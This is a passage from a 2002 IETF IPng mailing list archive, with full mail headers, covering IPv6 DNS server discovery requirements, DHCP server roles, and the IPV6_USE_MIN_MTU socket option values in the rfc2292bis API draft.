All the bytes except the 3rd and the 4th byte are being transferred uncorrupted. But the 3rd and the 4th byte data is getting corrupted, whatever be the data. I tried printing the data just before the call to sendmsg() and just after recvmsg().. the second print of data just after recvmsg() is showing some corrupted data on the 3rd and the 4th byte.

Can anyone please let me know what is happening.

Thanks in advance.



Do You Yahoo!?
Yahoo! Tax Center - online filing with TurboTax --0-1230281320-1019054236=:70777-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Apr 17 11:13:13 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3HIDDIA003857; Wed, 17 Apr 2002 11:13:13 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3HIDDao003856; Wed, 17 Apr 2002 11:13:13 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3HIDAIA003849 for ; Wed, 17 Apr 2002 11:13:10 -0700 (PDT) Received: from nwkea-mail-2.sun.com ([192.18.42.14]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA06890 for ; Wed, 17 Apr 2002 11:13:13 -0700 (PDT) Received: from thrintun.hactrn.net (dsl092-066-067.bos1.dsl.speakeasy.net [66.92.66.67]) by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA26031 for ; Wed, 17 Apr 2002 11:13:12 -0700 (PDT) Received: from thrintun.hactrn.net (localhost [127.0.0.1]) by thrintun.hactrn.net (Postfix) with ESMTP id 8CD8F1CA1 for ; Wed, 17 Apr 2002 14:13:11 -0400 (EDT) Date: Wed, 17 Apr 2002 14:13:11 -0400 From: Rob Austein To: ipng@sunroof.eng.sun.com Subject: Re: Stateless DNS discovery draft In-Reply-To: <4DA6EA82906FD511BE2F00508BCF053802C6AC7C@Esealnt861.al.sw.ericsson.se> References: <4DA6EA82906FD511BE2F00508BCF053802C6AC7C@Esealnt861.al.sw.ericsson.se> User-Agent: Wanderlust/2.4.1 (Stand By Me) SEMI/1.13.7 (Awazu) FLIM/1.13.2 (Kasanui) Emacs/20.7 (i386--freebsd) MULE/4.0 (HANANOEN) MIME-Version: 1.0 (generated by SEMI 1.13.7 - "Awazu") Content-Type: text/plain; charset=US-ASCII Message-Id: <20020417181311.8CD8F1CA1@thrintun.hactrn.net> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk At Wed, 17 Apr 2002 11:52:52 +0200, Hesham Soliman wrote: > >> Well, entities performing the server role of DHCP only answer >> Inform requests when (they think) they have something useful to >> say. The specific mechanism by which multiple entities could act >> in the DHCP server role on a single node > > But it doesn't have to be a single node. There maybe multiple nodes, > that what I don't understand. I don't think I understand what it is that you don't understand. :) If a node that supports a DNS server choses to do so by somehow inserting its address into a DHCP server on another node, that's ok, but it's not necessary, and some people are concerned about that approach because of fate sharing issues, so it'd probably be better for each node that offers DNS service to answer the appropriate DHCP Information Request messages for itself. The point, however, is that the client doesn't care either way. > The rest of the discussion above is simply saying don't use the DNS > request to discover the DNS, send a DHCP message first and get > more. But what happens if you have more than one server pretending > to be a DHCP server? Does the RA send the request to a multicast > address and filter the replies? No "pretending" involved. DHCP allows multiple servers, DHCP clients cope, and DHCP relay agents just relay. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Apr 17 11:29:38 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3HITbIA004066; Wed, 17 Apr 2002 11:29:37 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3HITZGK004064; Wed, 17 Apr 2002 11:29:35 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from bebop.France.Sun.COM (bebop.France.Sun.COM [129.157.174.15]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3HITUIA004056 for ; Wed, 17 Apr 2002 11:29:31 -0700 (PDT) Received: from lillen (d-mpk17-86-90.Eng.Sun.COM [129.146.86.90]) by bebop.France.Sun.COM (8.11.6+Sun/8.10.2/ENSMAIL,v2.2) with SMTP id g3HITPx20525; Wed, 17 Apr 2002 20:29:26 +0200 (MEST) Date: Wed, 17 Apr 2002 20:28:58 +0200 (CEST) From: Erik Nordmark Reply-To: Erik Nordmark Subject: Re: rfc2292bis text proposal To: Robert Elz Cc: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= , Erik Nordmark , Toerless Eckert , matt@3am-software.com, ipng@sunroof.eng.sun.com In-Reply-To: "Your message with ID" <2529.1018968716@brandenburg.cs.mu.OZ.AU> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > This is probably not important - but is there any real need to allow > the value -1 to actually be set? > > That is, I fully understand why it is the default value, but if an > application decides it wants to use the minimium MTU (for unicast) or > that it doesn't (for multicast), is it really likely that it will > want to ever say (on one socket) "use it for multicast but not for > unicast" ? >From an API design perspective it's odd if there are options that can be "set" but not "unset". In this particular case it would mean that an application which wants to revert back to the default behavior would need to close the socket and open a new one. > If we do need the new value, then are we 100% sure that we're not also > going to need "use min mtu for unicast, but not for multicast" (the > 4th possible case). I know that one seems crazy, but are we so certain > that it will never be needed that it shouldn't be provided? If we > assume that apps don't send unicast & multicast out the same socket, > then clearly it isn't needed (but nor is the ability to set -1). If > we assume that apps never send multicast other than min mtu, then it > isn't needed - but then IPV6_USE_MIN_MTU could simply be defined as > unicast only. And we already know that apps want to use min mtu for > unicast packets (that's why the thing exists in the first place). > So, from this, it seems to be, that if -1 exists (as a value that can > be set), -2 (or something) needs to exist as well... I agree it sounds crazy... Looking at assumed applications that send both unicast and multicast out the same socket it seems like there is a scale of performance issues around whether to do PMTU discovery or not. I think this scale has three levels: - In some cases there are very few packets are sent to the same destination thus the overhead associated with getting the ICMP packet too big (and the data packet dropped) outweights the benefits of being able to send larger packets. - In other cases there might be several packets sent to a given destination but the multicast destinations have many widely spread members. Thus while the packet loss involved in the PMTU discovery is ok the ICMP 'too big' implosion would mean that you don't want to do PMTU discovery for multicast. - Finally the number of members in the multicast group is small enough so that the ICMP implosion is not a significant concern (and multiple packets are sent to each unicast and multicast destination to amortize the cost of the dropped packet and ICMP error) so that PMTU discovery makes sense for both unicast and multicast. I can't think of a place on this scale where it would make sense to use PMTU discovery for multicast destinations but not unicast destinations. Of course, one can envision applications where PMTU discovery makes sense to destination A (whether unicast or multicast) but not to destination B (whether unicast or multicast). Such applications either need to toggle the option between sending such packets on the same socket, or use different sockets for the two classes of destinations. But that level of flexibility seems to be orthogonal to unicast vs. multicast. So I think 3 values is what's needed - not 4. Erik -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Apr 17 12:55:59 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3HJtxIA004422; Wed, 17 Apr 2002 12:55:59 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3HJtxou004421; Wed, 17 Apr 2002 12:55:59 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3HJtrIA004414 for ; Wed, 17 Apr 2002 12:55:53 -0700 (PDT) Received: from stinker.eng.sun.com (localhost [IPv6:::1]) by stinker.eng.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g3HJtkU8006394 for ; Wed, 17 Apr 2002 12:55:46 -0700 (PDT) Received: (from jrh@localhost) by stinker.eng.sun.com (8.12.2+Sun/8.12.2/Submit) id g3HJtk6v006393 for ipng@sunroof.eng.sun.com; Wed, 17 Apr 2002 12:55:46 -0700 (PDT) Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3HIuOIA004239 for ; Wed, 17 Apr 2002 11:56:24 -0700 (PDT) Received: from nwkea-mail-1.sun.com ([192.18.42.13]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA24647 for ; Wed, 17 Apr 2002 11:56:28 -0700 (PDT) Received: from cisco.com (cypher.cisco.com [171.69.11.18]) by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA01998 for ; Wed, 17 Apr 2002 11:56:27 -0700 (PDT) Received: (from eckert@localhost) by cisco.com (8.8.8/2.6/Cisco List Logging/8.8.8) id LAA10235; Wed, 17 Apr 2002 11:48:28 -0700 (PDT) Date: Wed, 17 Apr 2002 11:48:27 -0700 From: Toerless Eckert To: Erik Nordmark Cc: Robert Elz , "JINMEI Tatuya / ?$B?@L@C#:H?(B" , Toerless Eckert , matt@3am-software.com, ipng@sunroof.eng.sun.com Subject: Re: rfc2292bis text proposal Message-ID: <20020417114826.W20830@cypher.cisco.com> References: <2529.1018968716@brandenburg.cs.mu.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from Erik.Nordmark@sun.com on Wed, Apr 17, 2002 at 08:28:58PM +0200 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Erik, your thoughts are all valid, i just wonder to what degree an API should try to predict all possible applicationr equirements when it's just the question about wether or not to restrict the API alternatives from all possible options down to what we today may consider to be likely alternatives. I personally think it's better not to try to predict the future and simply keep it flexible. You're just calling for a chance later on to bang your head because you overlooked something coming up. Cheers Toerless On Wed, Apr 17, 2002 at 08:28:58PM +0200, Erik Nordmark wrote: > > > This is probably not important - but is there any real need to allow > > the value -1 to actually be set? > > > > That is, I fully understand why it is the default value, but if an > > application decides it wants to use the minimium MTU (for unicast) or > > that it doesn't (for multicast), is it really likely that it will > > want to ever say (on one socket) "use it for multicast but not for > > unicast" ? > > From an API design perspective it's odd if there are options that > can be "set" but not "unset". > In this particular case it would mean that an application which wants to > revert back to the default behavior would need to close the socket and > open a new one. > > > If we do need the new value, then are we 100% sure that we're not also > > going to need "use min mtu for unicast, but not for multicast" (the > > 4th possible case). I know that one seems crazy, but are we so certain > > that it will never be needed that it shouldn't be provided? If we > > assume that apps don't send unicast & multicast out the same socket, > > then clearly it isn't needed (but nor is the ability to set -1). If > > we assume that apps never send multicast other than min mtu, then it > > isn't needed - but then IPV6_USE_MIN_MTU could simply be defined as > > unicast only. And we already know that apps want to use min mtu for > > unicast packets (that's why the thing exists in the first place). > > So, from this, it seems to be, that if -1 exists (as a value that can > > be set), -2 (or something) needs to exist as well... > > I agree it sounds crazy... > > Looking at assumed applications that send both unicast and multicast out > the same socket it seems like there is a scale of performance issues > around whether to do PMTU discovery or not. I think this scale has > three levels: > - In some cases there are very few packets are sent to the same destination > thus the overhead associated with getting the ICMP packet too big (and > the data packet dropped) outweights the benefits of being able to send > larger packets. > - In other cases there might be several packets sent to a given destination > but the multicast destinations have many widely spread members. Thus > while the packet loss involved in the PMTU discovery is ok the ICMP > 'too big' implosion would mean that you don't want to do PMTU discovery > for multicast. > - Finally the number of members in the multicast group is small enough > so that the ICMP implosion is not a significant concern (and multiple > packets are sent to each unicast and multicast destination to > amortize the cost of the dropped packet and ICMP error) so > that PMTU discovery makes sense for both unicast and multicast. > > I can't think of a place on this scale where it would make sense to > use PMTU discovery for multicast destinations but not unicast destinations. > > Of course, one can envision applications where PMTU discovery makes sense > to destination A (whether unicast or multicast) but not to destination B > (whether unicast or multicast). Such applications either need to toggle the > option between sending such packets on the same socket, or use different > sockets for the two classes of destinations. But that level of > flexibility seems to be orthogonal to unicast vs. multicast. > > So I think 3 values is what's needed - not 4. > > Erik > -- Thanks Toerless Eckert -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Apr 17 16:23:58 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3HNNvIA004749; Wed, 17 Apr 2002 16:23:57 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3HNNvw1004748; Wed, 17 Apr 2002 16:23:57 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3HNNsIA004741 for ; Wed, 17 Apr 2002 16:23:54 -0700 (PDT) Received: from nwkea-mail-2.sun.com ([192.18.42.14]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA16440 for ; Wed, 17 Apr 2002 16:23:58 -0700 (PDT) Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12]) by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA00566 for ; Wed, 17 Apr 2002 16:23:58 -0700 (PDT) Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69]) by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id QAA19965 for ; Wed, 17 Apr 2002 16:23:58 -0700 (PDT) X-Delivered-For: Received: (from root@localhost) by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id g3HNNvg09245; Wed, 17 Apr 2002 16:23:57 -0700 X-mProtect: <200204172323> Nokia Silicon Valley Messaging Protection Received: from UNKNOWN (4.22.78.78, claiming to be "spruce.iprg.nokia.com") by darkstar.iprg.nokia.com smtpd0GkAzQ; Wed, 17 Apr 2002 16:23:55 PDT Message-Id: <4.3.2.7.2.20020417161937.02a06020@mailhost.iprg.nokia.com> X-Sender: hinden@mailhost.iprg.nokia.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Wed, 17 Apr 2002 16:23:33 -0700 To: IPng List From: Bob Hinden Subject: Proposed IPv6 DNS Discovery Requirements Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk I took a cut at a requirements statement for IPv6 DNS Discovery. Comments are appreciated. Thanks, Bob ---------------------- IPv6 DNS Discovery Requirements Statement IPv6 provides two approaches to basic IPv6 configuration. One is server-less and is defined in IPv6 Neighbor Discover [RFC2461] and the IPv6 Stateless Address Autoconfiguration [RFC2462]. The other is server oriented and is defined in DHCPv6 [dhcpv6 id]. IPv6 Neighbor Discovery includes flags to direct an IPv6 host to use either approach. In order for an IPv6 host to communicate on the Internet it needs an IPv6 address, IPv6 prefix for the link it is attached, default router address, and a DNS server address. This information allows the host to use basic internet services like the web, email, file transfer, etc. The server-less approach currently provides mechanisms for the IPv6 host to learn an address, IPv6 prefix for the link, and default router address, but does not provide any mechanism for the IPv6 host to learn any DNS information. Without any DNS information the IPv6 host can not use basic internet services with out some other kind of configuration (except by the user typing in literal IPv6 addresses). Requiring users to enter literal IPv6 addresses in difficult in IPv6 given the size of the addresses. The basic requirement for IPv6 DNS Discovery is to provide a server-less mechanism to enable a host to learn the address of an DNS server. This will complete the IPv6 server-less configuration mechanisms. For this requirement, Server-less is defined to mean the DNS information is learned with out any dependence on resources other than are needed (i.e., links, interfaces, routers, and DNS server) to communicate with the DNS server. IPv6 DNS Discovery should work inside of a single site where the DNS servers are in the site and between sites where the DNS servers and hosts are located in different sites (e.g., small home office where DNS servers are in the ISP's network). It is also desirable to learn other related DNS information such as default DNS for the IPv6 host, search path, LLMNR enabled flag, etc. in a server-less manner. Desirable aspects of a solution the meets these requirements include: - Minimal changes to existing implementations - A solution that could be standardized in a short amount of time. - Minimal use of bandwidth References [DHCPv6] J. Bound, et. al., Dynamic Host Configuration Protocol for IPv6 (DHCPv6), Internet Draft, , February 2002. [RFC2461] T. Narten, et. al., Neighbor Discovery for IP Version 6 (IPv6), RFC2461, December 1998. [RFC2462] S. Thomson, et. al., IPv6 Stateless Address Autoconfiguration, RFC2462, December 1998. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Apr 17 17:55:00 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3I0swIA004906; Wed, 17 Apr 2002 17:54:58 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3I0swnV004905; Wed, 17 Apr 2002 17:54:58 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3I0stIA004898 for ; Wed, 17 Apr 2002 17:54:55 -0700 (PDT) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA03523 for ; Wed, 17 Apr 2002 17:54:55 -0700 (PDT) Received: from roam.psg.com ([61.193.166.83]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id SAA08742 for ; Wed, 17 Apr 2002 18:54:54 -0600 (MDT) Received: from randy by roam.psg.com with local (Exim 4.00) id 16y0CJ-0001XM-00; Thu, 18 Apr 2002 09:54:51 +0900 From: Randy Bush MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Bob Hinden Cc: IPng List Subject: Re: Proposed IPv6 DNS Discovery Requirements References: <4.3.2.7.2.20020417161937.02a06020@mailhost.iprg.nokia.com> Message-Id: Date: Thu, 18 Apr 2002 09:54:51 +0900 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk as rob pointed out, with dnssec, you will need accurate time, i.e. an ntp server as well. randy -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Apr 17 19:06:09 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3I268IA005042; Wed, 17 Apr 2002 19:06:08 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3I267B7005041; Wed, 17 Apr 2002 19:06:07 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3I263IA005034 for ; Wed, 17 Apr 2002 19:06:04 -0700 (PDT) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id TAA11297 for ; Wed, 17 Apr 2002 19:06:05 -0700 (PDT) From: Jonne.Soininen@nokia.com Received: from mgw-dax1.ext.nokia.com (mgw-dax1.ext.nokia.com [63.78.179.216]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id UAA07869 for ; Wed, 17 Apr 2002 20:06:04 -0600 (MDT) Received: from davir01nok.americas.nokia.com (davir01nok.americas.nokia.com [172.18.242.84]) by mgw-dax1.ext.nokia.com (Switch-2.2.1/Switch-2.2.0) with ESMTP id g3I26Ns24243 for ; Wed, 17 Apr 2002 21:06:23 -0500 (CDT) Received: from daebh001.NOE.Nokia.com (unverified) by davir01nok.americas.nokia.com (Content Technologies SMTPRS 4.2.5) with ESMTP id for ; Wed, 17 Apr 2002 21:06:02 -0500 Received: from mvebe001.NOE.Nokia.com ([172.18.140.37]) by daebh001.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.3779); Wed, 17 Apr 2002 21:06:02 -0500 X-MimeOLE: Produced By Microsoft Exchange V6.0.5762.3 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Subject: RE: Proposed IPv6 DNS Discovery Requirements Date: Wed, 17 Apr 2002 19:06:01 -0700 Message-ID: <4D7B558499107545BB45044C63822DDEEBD916@mvebe001.NOE.Nokia.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Proposed IPv6 DNS Discovery Requirements Thread-Index: AcHmZ3S+SVa6Tz6nQKGEYXRGgWRfTAAE9uyg To: , X-OriginalArrivalTime: 18 Apr 2002 02:06:02.0510 (UTC) FILETIME=[973332E0:01C1E67D] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id g3I264IA005035 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi Bob, good that you took the ball on writing the first version of the requirements statement. Though, this is the first cut, at least to my opinion it reflects the needs of the simple hosts that rely on stateless autoconfiguration, e.g. a cellular web client. I do not know if this is already included in the "Minimal changes to existing implementations", but I think it could be worth while to mention the requirement that the implementation on the host side (which is performing the autoconfiguration) should be simple, and small. Thus, something like "Mechanism is compact and efficient". Maybe someone of the native speakers can help, but what I am looking for is that the code (in memory) does not take much space, and the running of the code does not take much resources from the host. Cheers, Jonne. > -----Original Message----- > From: Hinden Bob (IPRG) > Sent: Wednesday, April 17, 2002 4:24 PM > To: IPng List > Subject: Proposed IPv6 DNS Discovery Requirements > > > I took a cut at a requirements statement for IPv6 DNS > Discovery. Comments > are appreciated. > > Thanks, > Bob > > ---------------------- > > IPv6 DNS Discovery Requirements Statement > > IPv6 provides two approaches to basic IPv6 configuration. One is > server-less and is defined in IPv6 Neighbor Discover > [RFC2461] and the IPv6 > Stateless Address Autoconfiguration [RFC2462]. The other is server > oriented and is defined in DHCPv6 [dhcpv6 id]. IPv6 Neighbor > Discovery > includes flags to direct an IPv6 host to use either approach. > > In order for an IPv6 host to communicate on the Internet it > needs an IPv6 > address, IPv6 prefix for the link it is attached, default > router address, > and a DNS server address. This information allows the host > to use basic > internet services like the web, email, file transfer, etc. > > The server-less approach currently provides mechanisms for > the IPv6 host to > learn an address, IPv6 prefix for the link, and default > router address, but > does not provide any mechanism for the IPv6 host to learn any DNS > information. Without any DNS information the IPv6 host can > not use basic > internet services with out some other kind of configuration > (except by the > user typing in literal IPv6 addresses). Requiring users to > enter literal > IPv6 addresses in difficult in IPv6 given the size of the addresses. > > The basic requirement for IPv6 DNS Discovery is to provide a > server-less > mechanism to enable a host to learn the address of an DNS > server. This > will complete the IPv6 server-less configuration mechanisms. > > For this requirement, Server-less is defined to mean the DNS > information is > learned with out any dependence on resources other than are > needed (i.e., > links, interfaces, routers, and DNS server) to communicate > with the DNS server. > > IPv6 DNS Discovery should work inside of a single site where the DNS > servers are in the site and between sites where the DNS > servers and hosts > are located in different sites (e.g., small home office where > DNS servers > are in the ISP's network). > > It is also desirable to learn other related DNS information > such as default > DNS for the IPv6 host, search path, LLMNR enabled flag, etc. in a > server-less manner. > > Desirable aspects of a solution the meets these requirements include: > > - Minimal changes to existing implementations > - A solution that could be standardized in a short amount of time. > - Minimal use of bandwidth > > > References > > [DHCPv6] J. Bound, et. al., Dynamic Host Configuration > Protocol for IPv6 > (DHCPv6), Internet Draft, , > February 2002. > > [RFC2461] T. Narten, et. al., Neighbor Discovery for IP > Version 6 (IPv6), > RFC2461, December 1998. > > [RFC2462] S. Thomson, et. al., IPv6 Stateless Address > Autoconfiguration, > RFC2462, December 1998. > > > > > > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Apr 17 19:36:22 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3I2aKIA005067; Wed, 17 Apr 2002 19:36:20 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3I2aJ29005066; Wed, 17 Apr 2002 19:36:19 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3I2aEIA005059 for ; Wed, 17 Apr 2002 19:36:15 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id TAA04366 for ; Wed, 17 Apr 2002 19:36:15 -0700 (PDT) Received: from astro.cs.utk.edu (astro.cs.utk.edu [160.36.58.43]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id UAA05880 for ; Wed, 17 Apr 2002 20:36:14 -0600 (MDT) Received: from astro.cs.utk.edu (localhost [127.0.0.1]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id g3I2a6x20179; Wed, 17 Apr 2002 22:36:06 -0400 (EDT) Message-Id: <200204180236.g3I2a6x20179@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: Bob Hinden cc: IPng List Subject: Re: Proposed IPv6 DNS Discovery Requirements In-reply-to: (Your message of "Wed, 17 Apr 2002 16:23:33 PDT.") <4.3.2.7.2.20020417161937.02a06020@mailhost.iprg.nokia.com> Date: Wed, 17 Apr 2002 22:36:06 -0400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > It is also desirable to learn other related DNS information such as default > DNS for the IPv6 host, search path, ... mumble. frankly I've always thought this was broken. a host's DNS default search path has nothing inherently to do with the points to which it attaches to the network. we need to make a clear distinction between attributes which are specific to a particular network attachment point, and attributes which are related to a host's name or the services it performs. Keith -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Apr 17 21:19:20 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3I4JJIA005165; Wed, 17 Apr 2002 21:19:19 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3I4JJ0K005164; Wed, 17 Apr 2002 21:19:19 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3I4JFIA005157 for ; Wed, 17 Apr 2002 21:19:16 -0700 (PDT) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id VAA01258 for ; Wed, 17 Apr 2002 21:19:12 -0700 (PDT) Received: from thrintun.hactrn.net (dsl092-066-067.bos1.dsl.speakeasy.net [66.92.66.67]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id WAA02861 for ; Wed, 17 Apr 2002 22:19:11 -0600 (MDT) Received: from thrintun.hactrn.net (localhost [127.0.0.1]) by thrintun.hactrn.net (Postfix) with ESMTP id 04CEC1C46 for ; Thu, 18 Apr 2002 00:19:11 -0400 (EDT) Date: Thu, 18 Apr 2002 00:19:10 -0400 From: Rob Austein To: 